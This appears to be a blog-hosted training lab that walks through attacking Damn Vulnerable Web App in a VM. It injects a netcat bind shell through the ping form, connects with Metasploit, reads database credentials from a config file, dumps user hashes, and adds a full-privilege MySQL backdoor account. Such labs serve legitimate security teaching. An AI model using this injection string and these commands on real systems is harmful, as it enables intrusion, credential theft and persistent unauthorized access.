{ Using Metasploit with  Command Execution }
									| 				Section 0. Background  				Information | 			
- What is Damn Vulnerable Web App (DVWA)?
- Damn Vulnerable Web App (DVWA) is a PHP/MySQL  	web application that is damn vulnerable. 
 - Its main goals are to be an aid for security  	professionals to test their skills and tools in a legal environment, help  	web developers better understand the processes of securing web applications  	and aid teachers/students to teach/learn web application security in a class  	room environment. 
 
 - Pre-Requisite Lab
- 	 	Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14
 - 	 	Damn Vulnerable Web App (DVWA): Lesson 2: Command Execution Basic Testing
 
 - 	Lab  	Notes
- In this lab we will do the following:
- We will test Command Execution in which  		Security is set to low
 - We will append the Netcat command to an IP  		Address.
 - Then we will start up Metasploit in Backtrack and connect  		to the Netcat session created inside of DVWA.
 - We will use the apache username to search  		for potential system weaknesses.
 - We will discover a weakly protected php  		file that contains database credentials.
 - We will use those database credential to  		overtake the database.
 
 
 
- Legal Disclaimer
 Chỉ dùng cho mục đích nghiên cứu, học tập
 
							| 				Section 1.  				Configure Fedora14 Virtual Machine Settings | 			
- Open Your VMware Player
- Instructions:
- On Your Host Computer, Go To
 - Start --> All Program --> VMWare --> VMWare Player
 
 
 - Edit BackTrack Virtual Machine Settings
- Instructions:
- Highlight fedora14
 - Click Edit virtual machine settings
 
 
 - Edit Network Adapter
 - Instructions:
- Highlight Network Adapter
 - Select Bridged
 - Click on the OK Button.
 
 
 									| 				Section 2.  				Login to Fedora14 | 			
- Start Fedora14 VM Instance
- Instructions:
- Start Up VMWare Player
 - Select Fedora14
 - Play virtual machine
 
 
 - Login to Fedora14
- Instructions:
- Login: student
 - Password: <whatever you set  			it to>.
 
 - 		

 
 
 									| 				Section 3.  				Open Console Terminal and Retrieve IP Address | 			
- Start a Terminal Console
- Instructions:
- Applications --> Terminal
 
 
 - Switch user to root
- Instructions:
- su - root
 - <Whatever you set the root password to>
 
 - 		

 
 - Get IP Address
- Instructions:
- ifconfig -a
 
 - Notes:
- As indicated below, my IP address is  		192.168.1.106.
 - Please record your IP address.
 
 
 
 									| 				Section 4.  				Temporarily Disable SELINUX and Firewall | 			
- Start a Terminal Console
- Instructions:
- sestatus
 - If SELinux status: is set to 			disabled OR if 			Current mode: is set to permissive, then skip the  			next steps, and Continue to the Next Section.
 - If SELinux status: is set to 			enabled AND if 			Current mode: is set to enforcing, then Continue  			the next steps.
 
 - Notes:
- In my case, I need to temporarily put  			selinux in permissive mode to demonstrate basic attacks on DVWA.
 
 
 - Place selinux in permissive mode
- Instructions:
- echo 0 > /selinux/enforce
- Placing a "0" in the enforce file,  				puts selinux in permissive mode.
 
 - sestatus
- Notice that "Current mode:" changed  				to permissive.
 
 
 - 		

 
 - Disable Firewall
- Instructions:
- service iptables save
- This is not really necessary,  				unless you have made recent changes to the firewall.
 
 - service iptables stop
- This command disables the firewall.
 
 
 
 
 									| 				Section 5.  				Start Up Damn Vulnerable Web App (DVWA) | 			
- Start up a Web Browser  
- Instructions:
- Applications --> Internet --> Firefox
 
 - Notes:
- You can open up a Web browser on any  		Operating System on your network.
 - Working with DVWA does not have to be done  		on your Fedora machine, the only requirement to play with DVWA is as  		follows:
- The Fedora Server is on the Network.
 - httpd is running
 - mysqld is running
 
 
 
 - DVWA Database setup  
- Instructions:
- http://192.168.1.106/dvwa/login.php
- Replace 192.168.1.106 with the IP  				Address obtained from Section 3, Step 3.
 
 - Username: admin
 - Password: password
- "password" is the default password  				for user admin.
 
 
 
 - Set Website Security Level (Part 1) 
- Instructions:
- Click on DVWA Security
 
 
 - Set Website Security Level (Part 2) 
- Instructions:
- Select Low
 - Click Submit
 
 
 
 									| 				Section 6.  				Command Execution | 			
- Command Execution  
- Instructions:
- Click on Command Execution
 
 - 		

 
 - Execute Netcat  
- Notes:
- Below we are going to append NetCat to  			the basic ping test.  :)
 
 - Instructions:
- 192.168.1.106;mkfifo  			/tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe
- Make a FIFO  				named pipe.
 - Pipes allow separate processes to  				communicate without having been designed explicitly to work  				together.
 - This will  				allow two processes to connect to netcat.
 - nc -l 4444,  				tells netcat to listen and allow connections on port 4444.
 
 - Click Submit
 
 
 
 			| 		Section 7. Configure BackTrack Virtual Machine Settings | 	
- Open Your VMware Player
- Instructions:
- On Your Host Computer, Go To
 - Start --> All Program --> VMWare -->  			VMWare Player
 
 
 - Edit BackTrack Virtual Machine Settings
- Instructions:
- Highlight BackTrack5R1
 - Click Edit virtual machine settings
 
 
 - Edit Network Adapter	
- Instructions:
- Highlight Network Adapter
 - Select Bridged
 - Do not Click on the OK Button.
 
 
 
 			| 		Section 8. Login to BackTrack | 	
- Start BackTrack VM Instance
- Instructions:
- Start Up VMWare Player
 - Select BackTrack5R1
 - Play virtual machine
 
 
 - Login to BackTrack
- Instructions:
- Login: root
 - Password: toor or <whatever you changed  			it to>.
 
 
 - Bring up the GNOME
- Instructions:
- Type startx
 
 
 
 			| 		Section 9. Open Console Terminal and Retrieve IP Address | 	
- Open a console terminal
- Instructions:
- Click on the console terminal
 
 
 - Get IP Address
- Instructions:
- ifconfig -a
 
 - Notes:
- As indicated below, my IP address is  			192.168.1.105.
 - Please record your IP address.
 
 
 
  			| 		Section 9. Use Metasploit to Connect to DVWA's Netcat session | 	
- Start Up Metasploit msfconsole
- Instructions:
- Applications --> BackTrack -->  			Exploitation Tools --> Network Exploitation Tools --> Metasploit  			Framework --> msfconsole.
 
 - Note:
- Metasploit takes about 5 to 20 seconds  			to start up.
 
 
  - Use Metasploit to Connect to Netcat
- Instructions:
- use multi/handler
 - set PAYLOAD linux/x86/shell/bind_tcp
 - show options
 - set RHOST 192.168.1.106
- 192.168.1.106 is the IP Address of the  			Fedora Server running DVWA.
 - To obtain this IP Address, see Section  			3, Step 3. 
 
 - exploit
 
 
 - User Credentials Exploration
- Notes:
- Note you will not see an actual command  			prompt, but you do have shell access.
 
 - Instructions:
- whoami
- This command prints the username  				for the effective userid.
 - If the username was root, then we  				would be in full control; however, the username is apache.
 
 - grep apache /etc/passwd
- Here I am checking if the username  				is allowed to login remotely.
 - When a shell is set to /sbin/nologin,  				then that user cannot login remotely.
 
 - grep apache /etc/group
- It is important to discover other  				additional groups that apache might belong to.
 - In this case, apache is pretty well  				protected.
 
 
 
 - Explore Process and Directory Credentials.
- Instructions:
- ps -eaf | grep http
- Typically, the Apache web server  				processes will run with a daemon called httpd.
 
 - pwd
- Print the current working  				directory.
 - This actually tells us a lot.   				It tell us the exact path of where the NetCat command was  				executed from in Section 6, Step 2.
 
 - ls -ld /var/www/html
- In Fedora, the "DocumentRoot" path  				is typically /var/www/html.
 - If this directory was owned by  				apache instead of root we could do some web graffiti and many  				other things.
 
 - ls -ld /var/www/html/dvwa
- The parent directory for the DVWA  				is /var/www/html/dvwa.
 - Unfortunately, the apache username  				only has world read and execute permissions.
 
 - ls -l /var/www/html/dvwa
- Now we are going to explore the  				contents of the DVWA directory.
 - Notice, there is a config  				directory.
 - Config directories are important  				because they contain database credential information.
 
 
 
 - Database Credential Exploration
- Instructions:
- ls -l /var/www/html/dvwa/config
- We are shown there is a  				configuration file with a permission problem.
 - The config.inc.php problem is that  				its' permissions are set to 644, meaning that anyone can read  				this file.
 
 - cat /var/www/html/dvwa/config/config.inc.php
- Bingo!!!
 - For the database name dvwa, the  				user is root and the password is dvwaPASSWORD.
 
 
 
 
 									| 				Section 10.  				Mysql Exploration | 			
- Show DVWA Database Information
- Instructions:
- echo "show databases;" | mysql -uroot -pdvwaPASSWORD
- Show all databases in mysql.
 
 - echo "use dvwa; show tables;" | mysql -uroot  			-pdvwaPASSWORD
- Show all tables in the dvwa  				database.
 
 - echo "use dvwa; desc users;" | mysql -uroot  			-pdvwaPASSWORD
- Describe the fields of the  				dvwa.users table.
 
 - echo "select * from dvwa.users;" |  			mysql -uroot -pdvwaPASSWORD
- Print the contents of the  				dvwa.users table.
 - Notice the password field is  				displayed, where you can use tools like John the Ripper to crack  				it.
 
 
 
 - Create a new user in dvwa.users table
- Note:
- Replace John with your First name.
 - Replace Gray with your Last name.
 - Replace jgray with your first initial  			plus you last name.
 
 - Instructions:
- echo "insert into dvwa.users values  			('6','John','Gray','jgray',MD5('abc123'),'NA');" | mysql -uroot -pdvwaPASSWORD
- This create a new username in the  				dvwa.users tables.
 
 - echo "select * from dvwa.users;" |  			mysql -uroot -pdvwaPASSWORD
- Notice there is now a new record  				#6.
 - If you wanted to create an  				additional user, the next available user_id would incremental to  				#7 and so on.
 
 
 
 - Show Mysql table information
- Note:
- Mysql has a built in database apart for  			the rest of the databases.
 - This hack is even more alarming,  			because you will now be able to add a user that has full privileges  			for all databases on this machine.
 
 - Instructions:
- echo "show databases;" | mysql -uroot -pdvwaPASSWORD
- Shows all the databases on the  				machine.
 
 - echo "use mysql; show tables;" | mysql  			-uroot -pdvwaPASSWORD
 
 
 - Create new Mysql user
- Instructions:
- echo "use mysql; GRANT ALL PRIVILEGES  			ON *.* TO 'db_hacker'@'%' IDENTIFIED BY 'abc123' WITH GRANT OPTION;"  			| mysql -uroot -pdvwaPASSWORD
- This created a new user named  				db_hacker with a password of abc123 that can login from anywhere  				with connectivity.
 
 - echo "select * from mysql.user;" | mysql  			-uroot -pdvwaPASSWORD
- Notice the very last newly created  				entry.
 
 
 
 
 		- Proof of Lab
- Instructions:
- Bring up another BackTrack Terminal  			(See Section 9, Step 1)
 - mysql -u db_hacker -h 192.168.1.106 -p
- Replace 192.168.1.106 with the  				Fedora IP Address obtained (Section 3, Step 3)
 - The db_hacker password is "abc123"  				or whatever you set it too.
 
 - show databases;
 - quit
 - date
 - echo "Your Name"
- Replace the string "Your Name" with  				your actual name.
 - E.g., echo "John Gray"
 
 
 - 		Proof of Lab Instructions:
- Do a <PrtScn>
 - Paste into a word document
 - Email to AnToanThongTin.Edu.Vn@Gmail.Com
 
 - 		

 
 
 
0 nhận xét:
Đăng nhận xét